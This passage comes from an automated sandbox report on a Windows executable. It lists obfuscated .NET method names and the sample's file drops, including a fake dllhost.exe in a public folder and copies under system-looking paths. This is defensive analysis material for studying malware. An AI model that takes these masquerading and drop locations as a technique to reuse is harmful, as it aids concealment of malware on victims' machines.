                              Source: eu6OEBpBCI.exe, SDgon4H97T0Fmwh2mAC.csHigh entropy of concatenated method names: 'Yi3', 'hZpP4Jlex9I', 'CAKHm4Uys7', 'qyEP4mB8YDl', 'JvloLoP7A402OXw0NYiV', 'pJdMALP7gTENgSWU0MPW', 'brGEE7P7lSr4C64FjwZq', 'iStWuQP7UHtHtia7shUN', 'G0DQeUP7aPmqYAJUF8rw', 'NEZAWwP7eblIjAEWER1u'
                              Source: eu6OEBpBCI.exe, g2pCpYgxmKFuFSik1n4.csHigh entropy of concatenated method names: 'hOeaWski9V', 'F3WaPZJvmm', 'qvPaEHWy8O', 'ebKabputYs', 'K0ea5y7k56', 'wa035VPTDJ9psQmiAqxP', 'eonj2kPTV2P0Ac64iCR9', 'x2tOvGPT4lyrtHke25d8', 'TwBPBIPTv5Qgy2QbAieN', 'dwu6SCPTHKUHiGkEQxt3'
                              Source: eu6OEBpBCI.exe, ppBfSWw5DjTHnvjAL5S.csHigh entropy of concatenated method names: 'nL1wDuZ2pm', 'kdFwVXh7R3', 'Nq9w4BoJMG', 'sPvwv6NJeW', 'VHtwHPItpJ', 'OKFwfbhTwZ', 'zsbwlCsc70', 'CSGwUvUdbW', 'FFtwAwVipY', 'vxUwgQtjuM'
                              Source: eu6OEBpBCI.exe, j1pgEbJMVo0HgybQ0iV.csHigh entropy of concatenated method names: '_25r', 'h65', 'JexJOrFpWe', 'j6OJCAlvX8', 'TFJJQSot1U', 'AWD', 'd78', 'A6v', 'dqG', 'M96'
                              Source: eu6OEBpBCI.exe, OnRduwyUSOCNKFrCxep.csHigh entropy of concatenated method names: 'Wc7', 'k7S', '_37r', 'pHYP4GyRlhf', 'uKkPbzdrGJV', 'DjJALyPkvlUSWO60BcU4', 'xr0aJKPkHhv0otT08jxv', 'RnVDwaPkfQ5ADoE23YAP', 'N5JE87PklrS4VYRQLBLo', 'wUkhugPkUd90frDI6c3d'
                              Source: eu6OEBpBCI.exe, zxsZROf8H0GIXiJqsSB.csHigh entropy of concatenated method names: 'ymsUZaIiJw', 'sMiapnPpiq2fxtvOQWNo', 'TpV8ZRPprsrJWtwyhiCX', 'Cp0Rg5PpRWZh6nOvtiJP', 'aRvmH9Pp6Y00mgHtxfcJ', 'HjrfkiRGA4', 'E6Wf9BvIGq', 'oNZfJ2awq5', 'ptofmdCoSy', 'pf7fhubKeN'
                              Source: eu6OEBpBCI.exe, SCTQ8LHvdJFHjIdCOfr.csHigh entropy of concatenated method names: 'L91HARfvr7', 'DFof8uPhChDZB3mFw3bj', 'Hosp3IPh2KEttGSlRpXq', 'J2O6BBPhOHxnMX23fHXK', 'JgMRqlPhQYFvvmIUw2eW', '_53Y', 'd65', 'atYP5BOq3gF', 'HFOP5F00mhu', 'SWLP4ksceIN'
                              Source: eu6OEBpBCI.exe, NaECLitdr4YBDos8Ona.csHigh entropy of concatenated method names: 'oLdt9gFlJa', 'wJvtJOmlWR', 'KAmtmxVv7o', 'm29thHJlDI', 'fbwt7cOt9L', 'iOWtpmSxvN', 'ILHto6ZHMv', 'Rs9tTOCCql', 'uO9trHAvDS', 'TmHtRtybmh'
                              Source: eu6OEBpBCI.exe, zPVKICvi2KLstfIqquH.csHigh entropy of concatenated method names: 'IDV', 'd65', 'TAjP4XDMg8F', 'OrIP5W39OP3', 'ygovjCIUu2', 'nAoVTfPhaJXlAaTradVF', 'SxtwNtPheMkQBnpHajxJ', 'vrZiWyPhc2qjIDnF6Uaa', 'y0KDEOPh1OIIXjZIEhWC', 'rFs3lxPhZFmi3FBC91Bo'
                              Source: eu6OEBpBCI.exe, IGh4GefDHkQ1RlJURue.csHigh entropy of concatenated method names: 'H7QgSbPpUvPhF59RR4b3', 'DCfXCAPpAkvHdwrEeyOi', 'YRI0cXPpfo8U67f5gh3M', 'wrNNCXPpl1sudtGZaQ5P', '_7kT', '_376', 'trrf4qJKff', 'Mjxfv4JAUx', '_4p5', 'QPsfHgCeyn'
                              Source: eu6OEBpBCI.exe, FFLqXvwx8jjD6cF6Zvn.csHigh entropy of concatenated method names: 'tIKnESi5ls', 'H0GnblarkU', 'QcsjbyP0sbgwbAN6PWSb', 'V3L9FLP0MYAT78Ai9KCW', 'neY2cnP06kEMtjVD678m', 'lduetxP0jVpD3h4vqG3U', 'ylY9aTP025ZAbHb4EW3k', 'LmGeK0P0OT3sCl9BEs5n', 'UobnWbb421', 'iQQgcPP0rcEOMHm77EmZ'
                              Source: eu6OEBpBCI.exe, dDBX9RkDKFbPCVMDkt5.csHigh entropy of concatenated method names: 'HNyrtuPO2XZZCr4HWvv6', 'ExpLSuPOOKXxvGD65SFi', 'LxOSRAPOCx03JVVmT947', 'rnSk4GDwa3', '_1R8', '_3eK', 'AyXkvGXJwr', 'TBokHDnsQu', 'MFfkfRnqdp', 'tqEkl6BDyC'
                              Source: eu6OEBpBCI.exe, uFti0stidUcsW7SbF9L.csHigh entropy of concatenated method names: 'xuFPDM3EpyC', 'kgdPD2cAOdX', 'uBUPDOkjFcv', 'u8gPDC6WltL', 'DyLPDQpGYf5', 'UyFPDwclasF', 'n7lPDnmXcuu', 'rVZxvgTrPN', 'TT3PDIVF1hG', 'SK1PDYnOZYe'
                              Source: eu6OEBpBCI.exe, kmnjw9H6pmewMCn5Zuo.csHigh entropy of concatenated method names: '_34V', 'y7u', 'cgkP4p8sw4C', 'ySeHs2td0Y', 'gt1', 'wl5MLkP7XnmJixhuEGrK', 'UdZI7NP7KQuB78BC5wL2', 'ocvbXjP7qE37RbdBsKLY', 'qHvcpCP73BRQDIbsqTAn', 'jGID3aP78vB9XApPZGSv'
                              Source: eu6OEBpBCI.exe, vedbjqcuqD3s3XUcfxW.csHigh entropy of concatenated method names: 'vNq', 'O3Q', 'a43', 'V8g', 'g39', '_9By', 'h74', 'fl2', '_4L8', '_8e1'
                              Source: eu6OEBpBCI.exe, tD2eMf9S8fyOk5vOoKy.csHigh entropy of concatenated method names: 'RVTJarLE2h', 'eTvsdnPCv3AXQ4l4lSWU', 'fJ7PYIPCVPGVwqpYxfFq', 'QmFdClPC4FtRgnqEtPVg', 'i5X', 'yva9FZTH5M', 'W93', 'L67', '_2PR', 'p6J'
                              Source: eu6OEBpBCI.exe, LUY4f03ojk7XJyLw3DH.csHigh entropy of concatenated method names: 'E8C3rJT6JJ', 'NRO3R5mqkF', 'Ara3iaGQkT', 'WWX36sKctF', 'rqG3jdmxW2', 'mBX3sibiS3', '_4tg', 'wk8', '_59a', '_914'
                              Source: eu6OEBpBCI.exe, cY2aQMLqkT9g4RD2VUJ.csHigh entropy of concatenated method names: '_57l', '_9m5', 't8K', 'k49', 'p65', '_3B1', '_4Pp', '_3M7', '_7b3', 'fAL'
                              Source: eu6OEBpBCI.exe, mFns9peS5ws6LfHQVJR.csHigh entropy of concatenated method names: 'hccejHe7Da', 'RhyeFVRxaa', 'EVteupyGW2', 'WxFeKG1Bj3', 'oQ0eqo5wkJ', 'UtceXtJD1C', 'eNLe3piWUy', 'Obde8pxobL', 'zQoeLp2CZX', 'O6oek5RZiX'
                              Source: eu6OEBpBCI.exe, rIQS0j5TRfIsS4ajYoq.csHigh entropy of concatenated method names: 'gHi52tCnqQ', 'uvABmfPL6O6L3nQ7IkiC', 'CW4wMrPLRtnlebDsX0xe', 'IZ1ZhkPLi08UBn5MbDax', 'LyKMvbPLjrOxY6HfJhf8', 'Aky5RsfK7C', 'Y9K5iqWbMQ', 'pnT563ISsL', 'zQvhZbPLpJYf9ohn1gab', 'cP2DioPLonONxIiVEFLk'
                              Source: eu6OEBpBCI.exe, pwgeKube6rqpqlF8iUh.csHigh entropy of concatenated method names: 'mgrbXvNYOW', 'Nrpb3O0lDw', 'IbCb8TaNsZ', 'QWTSL5P8UVVZtidrudH4', 'IXqXVTP8A1ymUymr3If8', 'gRBMpFP8foE5UUdIFWoF', 'W9byO9P8lWU6hBlMlXOM', 'zUFbF6KOMh', 'YPdbuvH38C', 'K1AEqHP8vOOEY4Wfw6a9'
                              Source: eu6OEBpBCI.exe, jbiOwtEZ0PmZUMKjDYW.csHigh entropy of concatenated method names: 'kP0EGW0nJc', 'O1yEdbyXTA', 'LC28ZkP35ObmVecsdnUE', 'w78YDOP3E2mNf3LORxB0', 'i5u3nRP3bSlsyNp6mmAw', 'nAaKdSP3yJ8Ki51vEihm', 'tFscuHP3DDr1FKWJOlIA', 'H9VT70P3VhNVNjkTCvXu', 'gLV0QqP34jMrFdlQJBk5'
                              Source: eu6OEBpBCI.exe, VWvqVh8beZRPUo0ZtFy.csHigh entropy of concatenated method names: 'z518yocABA', 'Rve8D9UxOh', '_7Bm', 'UYU8VYJcfw', 'A1W84W1Q5Y', 'L7T8vxFd0W', 'ioh8HeBXeQ', 'PlxUlnPM2kaO4kGCEUJM', 'v0QGR2PMs6naufyPl3pf', 'cDAjmBPMM2AxXZI7qsiV'
                              Source: eu6OEBpBCI.exe, gpkn78Sho9H4OicEUga.csHigh entropy of concatenated method names: 'D9PquLLsb0', 'jitqKy9VCc', 'yJ8ClWPjrjYITINAre2T', 'gfPcxNPjoFDC8IAgpPa4', 'gqhNkuPjTc629f0KPKOB', 'lfjqkYS9O7', 'LQYdo5PjjsDYQC5OcRxx', 'PWfuocPjid3RNXTvHItV', 'F1qYhGPj6lZ72GAlqGUb', 'YWuBcOPjsF0KCs22luOt'
                              Source: eu6OEBpBCI.exe, I27SNhEijtMsLEGASf5.csHigh entropy of concatenated method names: 'dktEtXhFZS', 'ESYExt3A6J', 'VP8Ezk9lmc', 'BCSeE9P3oMwPwDqDDaH4', 'ITYjxAP3TnvSGcdv98He', 'y6qqTSP37o9fLrs2pqfj', 'PmBdavP3psAi2GDjXnsy', 'tArby3wXTN', 'otjPC6P3RV1YIgfoG24H', 'UneEJeP3iKvoC3HVmroX'
                              Source: eu6OEBpBCI.exe, BikF5GnlC6PkZuIshFX.csHigh entropy of concatenated method names: 'X9GnAjetRm', 'VadngqdeSa', 'FDFnaWAh7B', 'zjFneNioVh', 'Un6ncLGgk2', 'zBcn1grLb4', 'ek2ruxP0tOTLHxd9rxuo', 'ySBJJEP0xPXxXR5ryJbl', 'qEQVpYP0zjhLoQFxINvB', 'hueL54PtWhIQAaThH5Pf'
                              Source: eu6OEBpBCI.exe, J7Uu5SVB6Ka349SqFLr.csHigh entropy of concatenated method names: 'TVEV8nTnLw', 'm6gp1bPJNx2bm07nsxBu', 'o7K0C4PJG10wkGwKEBIp', 'pr3MJ0PJ1ytD3iaHkkkN', 'UuySeXPJZtRfFHtn67lq', 'kAbpTrPJdTQwcFZP3fw0', 'pCaVu3hm3Z', 'j3Rk3fPJgFdauj0odqFO', 'BZM5RrPJUFhcVdqMeMcb', 'tBv68bPJA28jCgRdCLUw'
                              Source: eu6OEBpBCI.exe, IhqBvpCYCTLrnXIgPdG.csHigh entropy of concatenated method names: '_7as', 'dxy', '_8Kv', 'iHyCtCnvS1', 'd17CxfEXjU', 'TO5CzYGVXi', '_0023Nn', 'Dispose', 'ucFsw1PYWUWht7LQyoF7', 'OMURldPYP6vQWk8jfIxK'
                              Source: eu6OEBpBCI.exe, PoTOUILWQVR7vitxPcg.csHigh entropy of concatenated method names: 'a4Q', '_6h5', '_4fY', '_32D', 'j7E', 'Lr9', '_7ik', '_9X3', 'g6m', '_633'
                              Source: eu6OEBpBCI.exe, dwiniWysTI5SjSeN12n.csHigh entropy of concatenated method names: 's3Yy08jdq3', 'bduytPU9ZV', 'MCAXh2PkRFKgki1kvErr', 'MvYfeiPkTEncwtY32423', 'VhUuvEPkrgngSBksidZm', 'jUCdk0PkiSoKxuXvW5xv', 'kdEDPl3F44', 'pjn109PkMV7KdM5PYEJB', 'GeFg5RPk2Cng6d5RmW05', 'NqUP0PPkjwbahtGHDIAS'
                              Source: eu6OEBpBCI.exe, u0tFAVcwGsV8Casjlt6.csHigh entropy of concatenated method names: 'tGKA9pPiOJCtUI3n1sXI', 'VMXh9TPiMIp6fiSZZ3Vb', 'BcLS9OPi2cjn30IlAlCk', 'cUNfUaPiC0XCDfyRAOew', 'kY8SuRDRHV', 'DH5CISPiI225V7KTSvmn', 'J3KIDEPiwUQkIOgrU9HW', 'tOue89PinFVhPjFFCH3H', 'dhS0nlPiYp2fMhKIuicr', 'ofcsbBPi068wofkpwIBy'
                              Source: eu6OEBpBCI.exe, dGJ3Uc3GtbZ4JsFCh0W.csHigh entropy of concatenated method names: 'K2x3SPw8NL', 'JY93B8LqXq', 'M62', '_1Xu', 'LuR', '_4p3', 'HVh', 'UMq3FlMlQJ', '_96S', '_9s5'
                              Source: eu6OEBpBCI.exe, hDDSBRCLE82hayRQ2k8.csHigh entropy of concatenated method names: 'ToWCJ2KBS2', 'P4NCp1SABL', 'ifcCrAvdQm', 'vtRCRI8X5p', 'Ji9CioBeMs', 'rCpC6dkmph', 'rKbCjo9ue4', 'wRPCsGkjQy', '_0023Nn', 'Dispose'
                              Source: eu6OEBpBCI.exe, QRTv86XH93JGZRBWb2r.csHigh entropy of concatenated method names: 'tT7Xl6AgHU', 'ffuXULcnsm', 'CUGXA4IaXo', 'GL9DZAPslMFmprSYmlnB', 'tJCjNXPsU6OgIqyTatbF', 'eSl2SnPsAr5DpH5MHlGD', 'ljv0wHPsg2Tsl3BsAjA0', 'm87LSaPsaNh3N8wiWuh5', 'NUWLufPseuf2D81JQCCC'
                              Source: eu6OEBpBCI.exe, i4CaIDaz2I7YOkvnQq1.csHigh entropy of concatenated method names: '_26K', '_1U7', '_5gR', '_58D', 'H8v', 'e7rePHsGFD', 'zc3eEJux0Z', 'gY2', 'rV4', '_28E'
                              Source: eu6OEBpBCI.exe, N2QcsvPTACMmTWys0lo.csHigh entropy of concatenated method names: 'n39', 'V29', '_4yb', '_2Q4', 'p93', 'Uo9P4ckDTny', 'UtKPbOSQlN3', 'NcbKFXPXlHrriEXytv1w', 'HQNgWNPXUULcaNXJ82cM', 'TEsO9kPXAgyrBYcb2kok'
                              Source: eu6OEBpBCI.exe, Iu1DdGLkta3RD7P6DUr.csHigh entropy of concatenated method names: 'dAlLJ1j4XV', 'k0NLmoTPSH', 'CltLh6OPE6', 'Y34', '_716', 'p32', 'Na8', 'X25', 'pT1', 'sVkL7i6aS6'
                              Source: eu6OEBpBCI.exe, d2e9iOHawljfFdItjGh.csHigh entropy of concatenated method names: '_5t1', 'd65', 'CIaP5KUnKUU', 'QAWP5qar8jo', 'OIPHcdp9QF', 'f6PP490V9Yf', 'OrIP5W39OP3', 'n472hVPhn57kRs01bgCW', 'MEufMfPhI41GvU2AWGUO', 'fj4wDtPhYDSXNTgcxgFR'
                              Source: eu6OEBpBCI.exe, bPdJ5DbmvH13WV8pZ3a.csHigh entropy of concatenated method names: 'nAMb7Hci6B', 'nIlbpxSwYo', 'VQDboaRVgE', 'sStbTSYVRs', 'kuSbrXQIVw', 'igYbRgk3l7', 'JhbbiFlRXK', 'RVhb61YInr', 'UetbjGux8p', 'kKJbsPTPe8'
                              Source: eu6OEBpBCI.exe, QXAkCaYGvsDfCLsBuBN.csHigh entropy of concatenated method names: 'Kw2ZlgPtJqIFhatiSeJG', 'DdJ9dTPtm9HIVuXXelAX', 'WdC000AK8F', 'KSpkgdPtor0IjFA8YIZp', 'jEV5BCPtTnWJt99I0UoI', 'SnCHNrPtr7HRypliOmND', 'e3tx9YPtR8tvoqCWCHjo', 'xEu7euPtiklw1xMQBmqL', 'anBUAkPt6uCXY5BvU6DA', 'PRMUtbPtjpyRIgxRV6Ou'
                              Source: eu6OEBpBCI.exe, iCjoGoXgW2My3jKSn1D.csHigh entropy of concatenated method names: 'sKZXeq5inx', 'wTKXc4p849', 'YlTX18S8OD', 'mBjFIiPsNd5Qh7f9cWyB', 'tKiX0XPs1nsOtJaw3KtO', 'bWQNB6PsZDHWQoQQQHk8', 'MrkdkBPsGyveCVnpJxL9', 'ynt73yPsd0Coqcf8HI4H', 'VBVMFoPsSwIVB7o5Ktau'
                              Source: eu6OEBpBCI.exe, C0prLubnecMi4fwM5VX.csHigh entropy of concatenated method names: 'K6ybY1kk5Y', 'pP4sX4P8htDYYEhHGRia', 'dUgdLuP87SLPlhdBMwOr', 'Rcj3mUP8pU9aB4EIisxB', 'TcHgJiP8ogvGqh4QXxdl', 'jCf7gpP8TJ41OwT5mwug', 'X1XVSYP8JhyEWic8rIsR', 'h1i5M7P8mFDgDVG1UN1x', 'UD8fZcP8rIqYk81FxPMR'
                              Source: eu6OEBpBCI.exe, t3ZPsDEasGSnZH9cnhF.csHigh entropy of concatenated method names: 'yoXEcB7MEd', 'gn9E1pU26c', 'CELX4vPXYLGuwh9yg1c6', 'WxipkxPXnlRe6ZQkk9TM', 'Hs476RPXI6d8EfwUYgfk', 'AK2VkKPX0nwunsaneo15', 'yDKxxXPXtqY1X4DHBnkt', 'Vhc4RIPXxgp0fd57Ngog', 'lFQoPIPXzlGhAZnekSGS', 'eFIWEiP3WK780dfJUcYZ'
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\RGKyyyvv.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\PTahnXzX.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\uOjtiFsK.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\gsyeVgYo.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\AHMSLlxy.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\Public\Libraries\dllhost.exeJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\FCNjSRns.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\iObdSlbK.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\sVUKwIHM.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\jzvnrySk.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\ypXSetlg.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\GzproQCn.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\sOBLQjau.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\PVfhrllC.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\VVaGAqXJ.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\wnljJKgl.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Windows\Logs\WindowsUpdate\aVIegkftDeblliEdgtUahRSaMtI.exeJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\kfPdycnc.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\TYzyfqIO.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\tCFTCxVs.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\hiGnLHFR.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\ygASuHSj.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\YwOfwePf.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\ZRcXHVNC.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\IYriOWqO.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\DOJbgDru.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\WJeOmDSH.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\QiIHXtHV.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\bYXvUFHb.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Recovery\fontdrvhost.exeJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\hZjnbUmV.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\FdoRXWMY.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\UJxgUhAr.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\FnLRHIfV.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Program Files\7-Zip\Lang\aVIegkftDeblliEdgtUahRSaMtI.exeJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\KpfivNCg.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\XxiWXROF.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\eEtWkScq.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\HpyAdrkQ.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\tRHlMFdP.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\lQNLnUfF.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\onNmUvhY.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\QALqtMNE.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\haXUgXfM.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Program Files (x86)\MSECache\OfficeKMS\win8\aVIegkftDeblliEdgtUahRSaMtI.exeJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\vEsBXgan.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\MRnySouc.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Windows\Logs\WindowsUpdate\aVIegkftDeblliEdgtUahRSaMtI.exeJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\RGKyyyvv.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\IYriOWqO.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\ypXSetlg.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\hiGnLHFR.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\PVfhrllC.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\FnLRHIfV.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\vEsBXgan.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\lQNLnUfF.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\UJxgUhAr.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\sOBLQjau.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\QALqtMNE.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\ygASuHSj.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\hZjnbUmV.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\FdoRXWMY.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\bYXvUFHb.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\wnljJKgl.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\tCFTCxVs.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\iObdSlbK.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\haXUgXfM.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\YwOfwePf.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeFile created: C:\Users\user\Desktop\HpyAdrkQ.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\MRnySouc.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\XxiWXROF.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\PTahnXzX.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\tRHlMFdP.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\gsyeVgYo.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\WJeOmDSH.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\FCNjSRns.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\uOjtiFsK.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\kfPdycnc.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\TYzyfqIO.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\KpfivNCg.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\AHMSLlxy.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\jzvnrySk.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\ZRcXHVNC.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\QiIHXtHV.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\GzproQCn.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\onNmUvhY.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\eEtWkScq.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\VVaGAqXJ.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\DOJbgDru.logJump to dropped file
                              Source: C:\Users\Public\Libraries\dllhost.exeFile created: C:\Users\user\Desktop\sVUKwIHM.logJump to dropped file
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\Desktop\eu6OEBpBCI.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
